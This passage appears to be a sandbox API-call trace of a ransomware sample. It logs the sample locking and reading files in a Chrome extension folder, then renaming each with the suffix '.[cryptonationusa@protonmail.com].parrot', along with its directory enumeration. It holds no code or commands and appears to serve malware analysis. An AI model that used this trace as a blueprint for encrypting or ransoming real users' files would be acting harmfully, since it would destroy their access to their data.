lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0073.864] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.864] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3a258, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x3a258, lpOverlapped=0x0) returned 1 [0073.875] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.887] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a370, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.887] CloseHandle (hObject=0x27c) returned 1 [0073.887] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.893] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcf2f, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.893] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.894] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0073.895] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.895] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xce17, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xce17, lpOverlapped=0x0) returned 1 [0073.897] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.898] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcf2f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.898] CloseHandle (hObject=0x27c) returned 1 [0073.898] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.901] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0073.902] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.902] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83663ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836884d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836884d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.902] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.902] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.903] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836661f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836661f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x1a1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_app.css", cAlternateFileName="")) returned 1 [0073.903] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b35, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.903] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.903] ReadFile (in: hFile=0x274, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0073.904] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.904] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1a1d, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x1a1d, lpOverlapped=0x0) returned 1 [0073.905] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.905] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b35, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.905] CloseHandle (hObject=0x274) returned 1 [0073.906] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.908] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x222f2, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.908] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.908] ReadFile (in: hFile=0x274, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0073.910] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.910] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x221da, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x221da, lpOverlapped=0x0) returned 1 [0073.916] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.922] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x222f2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.922] CloseHandle (hObject=0x274) returned 1 [0073.922] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.968] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20a, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.968] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.968] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0073.969] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.969] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf2, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0xf2, lpOverlapped=0x0) returned 1 [0073.970] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.971] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.971] CloseHandle (hObject=0x28c) returned 1 [0073.971] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.974] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d07, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.974] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.974] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0073.976] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.976] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1bef, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x1bef, lpOverlapped=0x0) returned 1 [0073.977] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.977] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d07, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.978] CloseHandle (hObject=0x28c) returned 1 [0073.978] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.981] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x153, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.981] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.981] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0073.982] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.982] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3b, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x3b, lpOverlapped=0x0) returned 1 [0073.982] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.982] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x153, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.982] CloseHandle (hObject=0x28c) returned 1 [0073.982] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.985] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x940, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.985] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.985] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0073.986] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.986] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x828, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x828, lpOverlapped=0x0) returned 1 [0073.987] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.987] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x940, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.987] CloseHandle (hObject=0x28c) returned 1 [0073.987] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.990] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x153, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.990] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.990] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0073.991] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.991] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3b, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x3b, lpOverlapped=0x0) returned 1 [0073.991] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.991] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x153, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.992] CloseHandle (hObject=0x28c) returned 1 [0073.992] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.994] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x153, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.994] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.994] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0073.995] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.995] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3b, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x3b, lpOverlapped=0x0) returned 1 [0073.995] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.996] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x153, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.996] CloseHandle (hObject=0x28c) returned 1 [0073.996] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.999] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0073.999] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83663ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb996c9e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb996c9e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.000] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836661f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836661f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb98881a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_app.css.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CAST_A~1.PAR")) returned 1 [0074.000] FindFirstFileExW (in: 